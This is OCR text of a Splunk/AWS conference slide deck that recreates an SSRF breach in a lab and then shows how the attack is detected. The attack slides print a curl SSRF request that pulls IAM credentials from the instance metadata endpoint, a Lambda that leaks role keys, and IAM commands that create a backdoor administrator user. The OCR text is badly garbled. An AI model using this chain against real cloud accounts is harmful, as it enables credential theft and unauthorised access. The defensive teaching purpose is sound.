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Agenda

What is SSRF?

Recreating the event

What did AWS tell us?

How do we get AWS and wire data into Splunk?
What did we see with Splunk?

What next?
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What is a server-side request forgery?
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Why is SSRF potentially bad?

« Over 100 million individuals affected

« End user customer data exfiltrated
= Credit card information
= Social security Information
= Bank account numbers

« Pll (name, address, zip, telephone, mother's maiden name)
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Recreating the attack

T1190/T1199 T1078 T1078/T1136 T1074/T1537
SSRF AWS Lambda Account creation Public bucket
execution exploit
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Discovery

HE. BN N e m# curl http://EVEEEE  /contactus.php\?pathi=
http://169.254.169.254/1atest/meta-data/iam/security-credentials/  ETHEN ]

]

curl http: 0 1IN Y contactus, php\7path\=http://169.254.169.254/1atest/meta-data/iam/security-credentiols/ I B H
{

"Code" : “Success",

"LastUpdated"” : "2020-03-11T14:48:412",

"Type" : "ANS-HMAC",

"AccessKeyld"” : "ASIAQ3G23 u75T",

"SecretAccesskey” : " | ] m | 1,

"Token" : “IQolb3JpZ2LuX2VIEIF///// 777/ /MEGCKVZLXAL c3QtMSIIMEYCIQCqaS1NISATe jNaldr+EYCnF1cuwg3mIXYPxgBHDuor SaThAIFBdq3 jangDx0aQRSzst4TW) a2ke@pNK
EhJVAYnTkvhKrQDCGAQABOMMDUANDQXMDM20DQwIgze 1 y6F 3QTAGFnTRiMqkQNEEqmkE9IZ 1hscav ) f6HTy1zhxKc7qviichJhDurRAhh i) x3 jUyM] Gf gzuCSExS@30nDFELkzx@6h3@HR7psV
xVIVTUSrRZ1Z15FFkovbFF1SUoD9c2 f fdKpbnpggYlaoZ8dfbFY jBEw/ LogHBX1lomRsgiF jx@gR7nQMBFNS6LrFtBjdZoM3pS jm/SCS6q8ZKVyF7SuNBuxAKy i KpQaXkHa2Z+9pblUZ4anStQ3bAC
bHGEOFNQKGAS9/ 1 XvnegVEADBSUS j4d/a/dZNdStb2K3R1wt 7Y ZHENDR@yenAL 3G0gmsAxmtxFTZerBfFtl J4ZF1gFNS1b7RTe LiRKVI IHPMLLVWENWA +4CZ ju/kf3y+qsZF310CADfyAluufPz
ktpsxEm@QYGttcOx67t29TapK/34Z4LPPKLDHeMbEY(901/6LI3SuPPiQEqvvkYohcQR1FvZWoRYy61sYOtVC1R+LgstsqedM751zrtqPo8elaCgate/eSst610gALMendGim7HOHMEv39IFdoa
mniW+hp/XsgUvzCB4MrSBTrgAXdI1SSqwaw/ ZF SmDuo66+dGZhZMD/Xh1ATTRLS 71 2TA/mE@e GGy GHF ob9gPe/ /AUS03 f+SFemQunoFPFDCpR7azSFObJ ILCLZBE LvSVWUfn88gVP Gk JVNXATO
bZrd277rUYB00jgi+3x1/waPYoksNnS7KNaZOFBoSE 1 SDEHOKNOht £ p4@9343NL 8 i vXylqeyEeGxpSFPs evdivl fpI+gbWNA+gwHZ2azNQQUSVKKEKAZ 25 sqV7UchInN/HawAYB /RE61ByxIL 7
uG7yPixsShmeTmnyWNo+bgrlt5zMa9+Zgpyt08X)jIplA==",

I BN e T .
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Escalation

i |- aws lambda create-function --function-name | ] Bl --runtime python3.6 --role arn:ows:io=::| | D
i --handler test.hendler --zip-file fileb://test.py.zip | || B
{

H R
"Functiondrn™: “arn:ows:lowbda:us-west-1 [ vction: Frdthly”,
"Runtime™: “pythond.B",
"Role™: “arn:aws:ios: EMRRRNNN BN D EpREETE .
"Hondler™: “test,handler™,
"CodeSize™: 322,
"escriptionT: "7,
"Timeout™: 3,
"Memoryiize”: 128,

Bl Ry SRR

“Yersion™: "SLATEST™,
"TracingConfig™: {

, Mode™: “PassThrough™ import os

'Ia.ﬁi.simld': "17chS1b-19F4-419]1 - Bdaa- b3 TI069 02

“Stete™: "Active”, . def handler(event, context):

LostUpdateStatus™: “Successful

} ) keys - {'AccessKeyID': os.environ['AWS_ACCESS_KEY ID'I],
'SecretAccessKey': os.environ['AWS_SECRET_ACCESS_KEY'],
'SessionToken': os.environ['AWS_SESSION_TOKEN']}
return _keyd
aws © 2022, Amazon Web Services, Inc. or its affiliates. All rights reserved.
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Output of the Lambda function

root@ubuntu-s-1vcpu-1gb-intel-fral-01: ~

root@ubuntu-s-1vcpu-1gb-intel-fral-01:~#
root@ubuntu-s-1vcpu-1gb-intel-fral-01:~#
root@ubuntu-s-1lvcpu-1gb-intel-fral-01:~#
root@ubuntu-s-1vcpu-1gb-intel-fral-01:~# cat creds.txt

{"AccessKeyID": "ASIARMIDM455WVUD7SXA", "SecretAccessKey": "xkLCeU7rnKBkarPmRpQnAr3VemfRS1BvIAluqUz0", "SessionToken": "
IQoJb3JpZ21uX2VjEFcaCXVzLWVhc3QtMSIJHMEUCIQCDhdsUSDeDftQ0ZZz9nCIbj6ac+aTUrKoHb25bpX@z0AIgY/0zjywKcjhmjScl4VWbCR19WVHR 1 eMX
s1Kt2y+1S1wqlQII8P//////////ARAAGGWWOTUXMDAZOT cOMzUiDHAksbsWwIB/ddfVnCrpASjx2WvutKchOb43rLpuh7ox6ptJ1ABK+K+3JyT/rSSqbWlc
dXTwPD5Gf@1h4shcvpbSwRpQdyVNUuDwKvvdD/X6kCOVQRwiLV250TUjbl+b/qvZLrXSb970@sxyjQleTYi@swZAuPjSbuPi6gM+QR29aYQOfp+11vMuwil2Sb
WMpvTYtRwcZbZaYXA/fYMX4/85HgXRQpsq41Eo5UbUSIxLghjnyZRHMONHAjy99e2a/XT1w9SzEFav3Xxa249+A21VC/761CmEFK/OUBpFI1n+pG5dzfPuiN
logs5ilxwf+MUm8HNpAX1dRCMPu9xpIGOpoBY8fba53zc/1/231A41Dfo7FzD5Qmndl7YKMrK2/fCRkuSNA3FSIGUKj5skqPrPgubksK8x4S30BhUXNMnpf0
/yR6DSFoTc@JUn2cRPis4gpwamDtzZiYGMN2npF628GZgg74EBpTcd1HW2hp6@yeZohqfYdc5SBW38C1IXhNa6GIOnVCjgKsTAIDN315sBgcOQV57dTN/SNzV
Hg=="}root@ubuntu-s-1vcpu-1gb-intel-fral-01:~# I

aWS © 2022, Amazon Web Services, Inc. or its affiliates. All rights reserved.
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Persistence

'H:~# aws iam create-user --user-name fi TIE

{
"User": {
“Pﬂth“: -f“,
“UserName": "I"H ',
"UserId”: "AIDAQ3GZ230QUKMDGCK3KC",
o A 22 Il Bl BT =
E H I HEE N
}
} _
ITEE B H BBE H E-* ovs iam create-login-profile --user-name mmmm @ --password SOMEPASSWORDE3
{
“LoginProfile": {
"UserName": '
“CreateDate” E:.I EE n
"PasswordResetRequired”: false
}
}
g T g ™ W mi.f gws iam create-access-key --user-name ¥
{
"AccessKey": {
"UserName": "HEDM _,",
"AccessKeyId": “AKIAQ3GZ230QUDWU3TQLV",
"Status": “"Active",
“SecretAccesskey": "H "HEN N HEEE & B H N,
}
(i B B W R:-# aws iam attach-user-policy --user-name 0B __policy-arn “"arn:aws:iam::aws:policy/AdministratorAccess”
aWS © 2022, Amazon Web Services, Inc. or its affiliates. All rights reserved.
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Data exfiltration/resource abuse

1to 28 of 28

Instance ID Instance Type Availability Zone Instance State Status Checks Alarm Status Public DNS (IPv4)

&
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What tools were used?

W3AF - this found the original code exploit

Kali Linux — for obvious things

DigitalOcean - for external access
PACU - https://github.com/RhinoSecurityLabs/pacu (offensive security for AWS)

aWS © 2022, Amazon Web Services, Inc. or its affiliates. All rights reserved
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AWS shared responsibility model

CUSTOMER DATA

CUSTOMER PLATFORM, APPLICATIONS, IDENTITY & ACCESS MANAGEMENT

RESPONSIBILITY FOR
SECIRT R T ADUD OPERATING SYSTEM, NETWORK & FIREWALL CONFIGURATION

CLIENT-SIDE DATA NETWORKING TRAFFIC
ENCRYPTION & DATA INTEGRITY SR A RO PROTECTION (ENCRYPTION,

AUTHENTICATION FLE SYSTERL ARD/OR DATA) INTEGRITY, IDENTITY)

aWS © 2022, Amazon Web Services, Inc. or its affiliates. All rights reserved.
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AWS shared responsibility model

CUSTOMER DATA

O PLATFORM, APPLICATIONS, IDENTITY & ACCESS MANAGEMENT
) .
Customers have OPERATING SYSTEM, NETWORK & FIREWALL CONFIGURATION S I u n k >
their choice of
security CLIENT-SIDE DATA SERVER-SIDE NETWORKING

: : ENCRYPTION AND ENCRYPTION TRAFFIC PROTECTION
conflguratlon DATA INTEGRITY (FILE SYSTEM (ENCRYPTION
IN the cloud AUTHENTICATION AND/OR DATA) INTEGRITY, IDENTITY)
AWS is
responsible for AWS REGIONS
the security OF HARDWARE/AWS GLOBAL EDGE LOCATIONS
the cloud INFRASTRUCTURE AVAILABILITY
ZONES

aWS © 2022, Amazon Web Services, Inc. or its affiliates. All rights reserved.
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AWS Security Hub event

Description of the event

Access/Key information

Instance details including networking
information, instance type, etc.

aWS © 2022, Amazon Web Services, Inc. or its affiliates. All rights reserved.
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Amazon GuardDuty event

aWS © 2022, Amazon Web Services, Inc. or its affiliates. All rights reserved.
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WS CloudTrail data

| table
eventSource = eveniName =

_time, eventSource,

aWS © 2022, Amazon Web Services, Inc. or its affiliates. All rights reserved.
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What didn't pop?

« Amazon CloudWatch

« Amazon VPC Flow Logs

« Amazon S3 access logs (although increase in S3 access was noted after exfil)
« AWS Config rules

« Amazon Inspector

aWS © 2022, Amazon Web Services, Inc. or its affiliates. All rights reserved.
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Getting data in

« Getting data in has historically been a pain
= Too many different types of data

= Too many different versions of that data

« Editing configuration files and spending hours on regex
« Data changes without notice

aWS © 2022, Amazon Web Services, Inc. or its affiliates. All rights reserved.
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Data manager

AWS Data Onboarding

Select the AWS data sources you want to onboard

®) AWS Security and AWS Metadata

Amazon CloudWatch Logs

AWS CloudTrail AWS Security Hub Amazon GuardDuty

IAM Access Analyzer IAM Credential Report /| Metadata

IAM Access Analyzer helps you identify the IAM Credential Report lists all users in your Metadata is data about your Amazon EC2

aWS © 2022, Amazon Web Services, Inc. or its affiliates. All rights reserved.
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How data flows from AWS to Splunk

v —
v -
v —

Compliance checks

CloudTrail C

Amazon

’% — > EventBridge ( Splunk Enterprise
Finding Finding Security
Amazon VPC ‘ .
flow logs GuardDuty Security Hub CloudWatch events

@ l Amazon Kinesis

DNS logs Data Firehose

A
|

Amazon SQS
l Amazon VPC
- som

1] =—
2P e

T O CloudTrail
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GDI for non-AWS

What data do you want to send to the Splunk platform?

Follow guides for onboarding popular data sources

-

Get your cloud computing Get your networking data in Get your operating system

data in to the Splunk to the Splunk platform. data in to the Splunk
platform.

System

Q Cloud computing J Networking @ Operating

platform.

10 data sources 2 data sources 1 data source

4 data sources in total

aws

© 2022, Amazon Web Services, Inc. or its affiliates. All rights reserved.
S

0 Security

Get your security data in to
the Splunk platform.

3 data sources

AddOn+

Splunk Add-on for
Apache Web Server

M Splunk App for Stream

* * * * * 51 ratings

@ splunk Cloud

/# Splunk Built



Splunk Security Operations Suite ingests AWS
data sources across common security use cases

USE CASES

>
0 . . . a o
lunk
APPLICATIONS g |- gzé‘tr:‘t Enterprise iﬂ:lntigs?f rBereey splunk> R
5 3 ® o <
PLATFORM £ "2 &
O @
DATA SOURCES Security Hub GuardDuty CloudTrail AWS CloudWatch Amazon Amazon AWS Network
\-/‘7 Config VPC Flow Inspector Firewall logs
Logs
Route 53
DNS logs
aWS © 2022, Amazon Web Services, Inc. or its affiliates. All rights reserved.
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Splunk and application-added telemetry

&

ERMAHGERD, SPLERNK!
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time eventName

Remember this CloudTrail data from
just a few slides ago?

We've added the timing of the event to
see when the actual “user creation” and
2022-84-89 12:35: 30 “reateloginProfile Other indicators OCCuU FFEd

2022-84-89 12:35:58 CreateAccessKey We see that the firSt event that

- Security Hub, GuardDuty, and other
AWS data alerts for was at 12:35 AM

on 4/9/2022

Let's add some Splunk Stream/Apache
data to the mix

aWS © 2022, Amazon Web Services, Inc. or its affiliates. All rights reserved.
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1.5 hours between initial intrusion
and “something” happening that
would otherwise generate an alert

index=+ 164.92.

aWS, © 2022, Amazon Web Services, Inc. or its affiliates. All rights reserved.



Wire data

New Search

lunkecz2"

raw t

= p-172-3 ecd.interna

aWS © 2022, Amazon Web Services, Inc. or its affiliates. All rights reserved.
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aws
~—

ventName

© 2022, Amazon Web Services, Inc. or its affiliates. All rights reserved.



aws
~—

ventName
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PRI ——lkY¥<§
root@ubuntu-s-1vcpu-lgb-intel-fral-@l:~# cat keepawsalive.sh

#! /usr/bin/bash

while :

do
aws sts get-caller-identity
sleep 180

done

root@ubuntu-s-1lvcpu-1gb-intel-fral-01:-# I



-

aws
~—

20 Per Page =

time

ventName

© 2022, Amazon Web Services, Inc. or its affiliates. All rights reserved.

PRI ——lkY¥<§
root@ubuntu-s-1vcpu-lgb-intel-fral-@l:~# cat keepawsalive.sh

#! /usr/bin/bash

while :

do
aws sts get-caller-identity
sleep 180

done

root@ubuntu-s-1lvcpu-1gb-intel-fral-01:-# I

default session timeout AWS cli

Session Duration

This duration can range from 900 seconds (15 minutes) up to a maximum of 129,600
seconds (36 hours), with a default of 43,200 seconds (12 hours).

https://docs.aws.amazon.com » al » 5t§-2011-06-15

get-session-token — AWS CLI 1.22.95 Command Reference




N

Add in Splunk Enterprise Security (ES)

« Add SSE and ESCU - both specifically detect for AWS-only data
 Set up rules to track stream/web usage of the metadata endpoint
« 169.254.169.254 in URI redirects

« Large amount of hits to */security-credentials/*

. Alert on Lambda creation/deletion in short amounts of time

« Utilize new cloud security dashboards to keep an eye on changes in
your environment

« If you're bringing in Amazon VPC Flow Logs or Stream, use the
network traffic analyzers and protocol analyzers in ES

aWS © 2022, Amazon Web Services, Inc. or its affiliates. All rights reserved
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24 hour risk & frothly 1126 4 Risk Notable Sat, Apr 9, 2022 1.55 PM Undetermined Threat ® Low
threshold
exceeded for
user=frothly
Description: Related Investigations:
Risk Threshold Exceeded for an object over a 24 hour period Currently not investigated.
Additional Fields Value Action Correlation Search:
MITRE T1535 v Risk - 24 Hour Risk Threshold Exceeded - Rule (2
MITRE Tactic defense-evasion v History:
MITRE Tactic ID TA000S v
View all review activity for this Notable Event (2
MITRE Technigue Unused/Unsupported Cloud Regions v
MITRE Technique ID T1535 - Contributing Events:
MITRE Tactic Count 1 v View the individua! Risk Attributions [2
MITRE Technique Count 1 v Adaptive Responses: C
Original Splunk Source  ESCU - Detect AWS Console Login by New User - Rule v
ESCU - Detect AWS Console Login by User from New City - Rule v Response Mode  Time User Status
ESCU - Detect AWS Console Login by User from New Country - Rule v Notable  saved  2022-04-09T13:55:04-0400 admin /' success

Risk Events

Risk Object

Risk Object Type
Risk Score
Severity

Event Details:

event_id
event_hash
eventtype

notable

ESCU - Detect AWS Console Login by User from New Region - Rule
4

frothly

user

126

medium

risk_notables

Short ID

Create Short ID

80C8DA12-9C50-4CBE-A405-418859F3F4CE@@notable@@024a97fccdb9echd8b8cd47bald3a04c
024a97fccdb9ecbd8b8cd47bald3a04c

modnotable_results

4

View Adaptive Response Invocations 2

Next Steps:

o No next steps defined.

New



IAM Activity
Account ID @, Reglons Status Action @ Time Range
[AI m-l[ml mv][n -][AII m-ll.qlume -l
Error Events Activity by User IAM Actions
user v user_name v count CreatainstanceFrofile
AddRoleTolnstanceProfile CreateUser
unknown root 14
frothly frothly 3
CreateRole
unkrown unknown 3
frothlybackup frothlybackup 1 e
. o ) . CreatelLoginProfile
IAM Actions Over Time
20
AddReoleTolnstanceProfile
= AddUserToGroup
310 AttachRolePolicy
- I S
CreatelnstanceProfile
- CreataLoginProfile
| . > : : . : . : : Cﬂlmml'
Fri Apr 8 Sat Apr 9 Sun Apr 10 Man Apr 11 Tue Apr12 Wed Apr 13 Thu Apr 14 Fri Apr 15 Sat Apr 16 Sun Apr 17 Mon Apr 18 mm,p:.'m
2022 UpdateAssumeRolePolicy
Time
Success vs Failure Activity Most Recent LAM Activity
command = Success v Fallure ~ command SIC_USer - SMC_UsSer_name v Src v user - USer_name v vendor_account = vendor_region
CreatelLoginProfile 1 3 CreateUser HOb5aff466... -0b5aff46636.. 34.239.10B1.. frothlyback.. frothlyback... 95100397435 us-east-1
CreateRole 2 2 CreateUser i-Ob5affd66... i-0b5aff46636.. 34.239.10B1.. frothlyback.. frothlyback... 95100397435 us-east-1
AddRoleTolnstanceProfile 2 o} CreateUser i-Ob5affd66.. i-Ob5aff46636.. 34.239.10B1.. frothlyback.. frothlyback... 95100397435 us-east-1
AddUserToGroup 1 0 Createlser i-0b5aff466... i-Ob5aff46636.. 34.23910B1.. frothlyback... frothlyback... 95100397435 us-east-1
AttachRolePolicy 4 o]} CreateUser I-ObSaff466... -0b5aff46636.. 34.2391081.. frothlybackup frothlybackup 95100397435 us-east-1
CreateAccessKey 1 [v] { Prev 1 2 Next >
1AM Error Activity
command v src_user v srC_user_name v src v user = user_name result_jd = result vendor_account v  wvendor_region v _time
CreateLoginProfile frothhy frothly 16492179228 unknown unknown PasswordPolicyViola... Password should me... 8951003974358 us-east-1 2022-04-09 12:35:3...



Automated cloud security incident response

END-TO-END SECOPS BY COMBINING AWS SERVICES WITH SPLUNK OFFERINGS

Detection Visibility Analysis Correlation Decisions Actions

Findings updated with analysis, actions, results, etc.

CISAWS Amazon Amazon GuardDuty
Macie  Inspector

Foundations @ Splunk Enterprise
Benchmarks . ‘ Security™ Third party
Third party (on AWS)
(on AWS)

Data sources (cloud + hybrid)

Detection Visibility Analysis Correlation Decisions Actions
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LELGEVTENE

« Splunk can help supplement AWS data

« Remember the AWS shared responsibility model
« Wire and application data are just as important
« Web application firewalls — thank you!

 Please test your code

« Be meticulous with your |AM strategy

Learn more about the collaboration between AWS and Splunk
aws.amazon.com/partners/aws-and-splunk/

aWS © 2022, Amazon Web Services, Inc. or its affiliates. All rights reserved.
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Thank you!

Tom Smit

linkedin.com/in/tsmit50/
smitty@splunk.com

[waeres] Please complete the session
T8

survey in the mobile app
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